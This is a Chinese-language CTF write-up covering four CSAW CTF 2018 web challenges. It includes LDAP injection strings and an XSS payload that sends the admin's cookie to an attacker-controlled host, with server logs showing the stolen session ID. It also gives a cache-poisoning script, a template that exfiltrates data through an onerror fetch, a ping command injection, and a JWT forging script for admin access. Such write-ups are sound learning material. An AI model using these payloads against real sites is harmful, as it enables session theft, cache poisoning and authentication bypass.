[CSAW CTF'18] web writeup
[CSAW CTF'18] web writeup
太菜了太菜了 LDAP 注入都不会做
快结束了才看到,赛后才发现v爷爷很早就开文档
Ldab
后来才明白原来题目名就已经是hint了,
进去之后就会发现输入括号和没有括号是有差别的,
然后想起来最近的noxCTF刚刚做过一个LDAP注入
之前那道题的payload是*)(|(descripton=*
就可以了
学习网址 https://www.jianshu.com/p/d94673be9ed0
就是先寻找他的objectclass
总共9个一个一个测试
- commonName
- description
- seeAlso
- l
- o
- ou
- documentTitle
- documentVersion
- documentAuthor
- documentLocation
- documentPublisher
按之前怎么试怎么不行=。=后来多了一个括号突然就可以啦=。=
这道题需要多一个括号就好了
*))(|(ou=*
猜测他是有三个括号来结尾
No Vulnerable Services
这道题是考验auth认证的过程吧=。=
我还以为跟之前的tjctf做的差不多,太菜了太菜了
这道题居然有CSP!!!我终于看到xss题目了
Content-Security-Policy: default-src 'none'; script-src *.no.vulnerable.services https://www.google.com/ https://www.gstatic.com/; style-src *.no.vulnerable.services https://fonts.googleapis.com/ 'unsafe-inline'; img-src *.no.vulnerable.services; font-src *.no.vulnerable.services https://fonts.gstatic.com/; frame-src https://www.google.com/
default-src 'none'
然后后面的说明所有的语句都只能在*.no.vulnerable.services 被加载进去
明显可以发现有一个可以提交到后台的地方,如果代码有问题会显示

这里可以xss
在文章的最下面有
d8a50228.ip.no.vulnerable.services

d8a50228
是目标ip的16进制
可以用这个来绕过csp
构造payload
var img = document.createElement("img");
img.src = "http://784eb86f.ip.no.vulnerable.services/?cookie=" + encodeURI(document.cookie);
document.body.appendChild(img);
成功访问了我的xss.js

216.165.2.40 - - [17/Sep/2018:20:33:46 +0800] "GET /xss.js HTTP/1.1" 200 0 "http://admin.no.vulnerable.services/review.php?id=2421" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/69.0.3497.81 HeadlessChrome/69.0.3497.81 Safari/537.36"
可是脚本没有加载进去=。=为啥。
换了罗嘉远的服务器=。=就可以了,傻逼阿里云

17/Sep/2018:21:16:13 +0800] "GET /xss.js HTTP/1.1" 200 504 "http://admin.no.vulnerable.services/review.php?id=2423" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/69.0.3497.81 HeadlessChrome/69.0.3497.81 Safari/537.36" 216.165.2.40 - - [17/Sep/2018:21:16:13 +0800] "GET /?cookie=PHPSESSID=khodgtpntqt58611ai47nf20vk HTTP/1.1" 200 328 "http://admin.no.vulnerable.services/review.php?id=2423" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/69.0.3497.81 HeadlessChrome/69.0.3497.81 Safari/537.36"
http://admin.no.vulnerable.services/login.php


访问lb.php可以看到

有一个216.165.2.41开着,但是进不去
猜测是要开个support的代理才可以
support.no.vulnerable.services
直接访问是不行的ping 一下
support.no.vulnerable.services

172.16.2.5
所以可以使用ac100205.ip.no.vulnerable.services
作为代理来进入216.165.2.41

这样就好了然后就可以进入
216.165.2.41

发现可以
ping

命令注入了
就可以直接cat flag

nice
Hacker Movie Club
其实可能是因为我卡的原因=。=我的第一个想法是绕过谷歌验证
然后在下面发现了一个cdn.js
for (let t of document.head.children) {
if (t.tagName !== 'SCRIPT')
continue;
let { cdn, src } = t.dataset;
if (cdn === undefined || src === undefined)
continue;
fetch(`//${cdn}/cdn/${src}`,{
headers: {
'X-Forwarded-Host':cdn
}}
).then(r=>r.blob()).then(b=> {
let u = URL.createObjectURL(b);
let s = document.createElement('script');
s.src = u;
document.head.appendChild(s);
});
}
可以通过这个读到mustache.min.js
和app.js
的源代码
mustache.min.js
有点长=。=
app.js
var token = null;
Promise.all([
fetch('/api/movies').then(r=>r.json()),
fetch(`//294dc176089c1c625bb201a21887f828c043e545.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
new Promise((resolve) => {
if (window.loaded_recapcha === true)
return resolve();
window.loaded_recapcha = resolve;
}),
new Promise((resolve) => {
if (window.loaded_mustache === true)
return resolve();
window.loaded_mustache = resolve;
})
]).then(([user, view])=>{
document.getElementById('content').innerHTML = Mustache.render(view,user);
grecaptcha.render(document.getElementById("captcha"), {
sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
theme: 'dark',
callback: t=> {
token = t;
document.getElementById('report').disabled = false;
}
});
let hidden = true;
document.getElementById('report').onclick = () => {
if (hidden) {
document.getElementById("captcha").parentElement.style.display='block';
document.getElementById('report').disabled = true;
hidden = false;
return;
}
fetch('/api/report',{
method: 'POST',
body: JSON.stringify({token:token})
}).then(r=>r.json()).then(j=>{
if (j.success) {
// The admin is on her way to check the page
alert("Neo... nobody has ever done this before.");
alert("That's why it's going to work.");
} else {
alert("Dodge this.");
}
});
}
});
还有一个main.mst
<div class="header">
Hacker Movie Club
</div>
{{#admin}}
<div class="header admin">
Welcome to the desert of the real.
</div>
{{/admin}}
<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
{{^admin_only}}
<tr>
<td>{{ name }}</td>
<td>{{ year }}</td>
<td>{{ length }}</td>
</tr>
{{/admin_only}}
{{/movies}}
</tbody>
</table>
<div class="captcha">
<div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
这个是一开始的布局
好难啊不会了
wp的意思这道题需要用缓存投毒来做
js缓存投毒我还是第一次碰到
学习
import requests
X_Forwarded_Host = '1.1.1.1'
while True:
resp = requests.get("http://294dc176089c1c625bb201a21887f828c043e545.hm.vulnerable.services/cdn/app.js", headers={'X-Forwarded-Host': X_Forwarded_Host})
print resp.headers
if X_Forwarded_Host in resp.text:
print resp.text
break

成功缓存投毒
试一下
把
X_Forwarded_Host
换成自己的服务器之后跑了一会脚本就可以看到他请求了我的服务器已经成功投毒
所以我在自己的服务器下创建一个cdn的目录和main.mst的文件,让他访问一个假的模板
<div class="header">
Hacker Movie Club
</div>
<div class="header admin">
Welcome to the desert of the real.
</div>
<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
<tr>
<td>{{ name }}</td>
<td>{{ year }}</td>
<td>{{ length }}</td>
</tr>
{{/movies}}
</tbody>
</table>
<div class="captcha">
<div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
<img src=x onerror="fetch('http://www.ckj123.com/'+'{{#movies}}{{ name }}{{/movies}}')">

成功了呀=。=可是投不进去为啥

看网络应该是成功了,304缓存成功了,为啥一直loading=。=

SSO
这道题是用来了解auth2.0协议的过程的=。=我觉得
看到过乌云上的oauth认证绕过

一步一步来
import requests
import jwt
#Authorization Request
code = requests.post("http://web.chal.csaw.io:9000/oauth2/authorize", headers={"Content-Type": "application/json"}, json={"response_type":"code","redirect_uri":"http://web.chal.csaw.io:9000/protected"}, allow_redirects=False).text
code = code.split("protected?code=")[1].split("&")[0]
#Access Token Request
r = requests.post("http://web.chal.csaw.io:9000/oauth2/token", json={"grant_type":"authorization_code","code": code,"redirect_uri":"http://web.chal.csaw.io:9000/protected"}).text
token = r.split('"')[7]
#Modifing Token as admin
res= jwt.decode(token, 'ufoundme!', algorithms=['HS256'])
token = jwt.encode({'type': 'admin', 'secret': 'ufoundme!', 'iat': res['iat'], 'exp': res['exp']}, 'ufoundme!', algorithm='HS256')
#Final Request
req = requests.get("http://web.chal.csaw.io:9000/protected", headers={"Authorization": "Bearer " + token}).text
print(req)
感言
这次的比赛还是非常好的-。-让我学到了新知识
缓存投毒和oauth认证的问题
感谢=。=
参考资料
https://www.anquanke.com/post/id/156356
https://bugs.shuimugan.com/bug/view?bug_no=207504
https://segmentfault.com/a/1190000013467122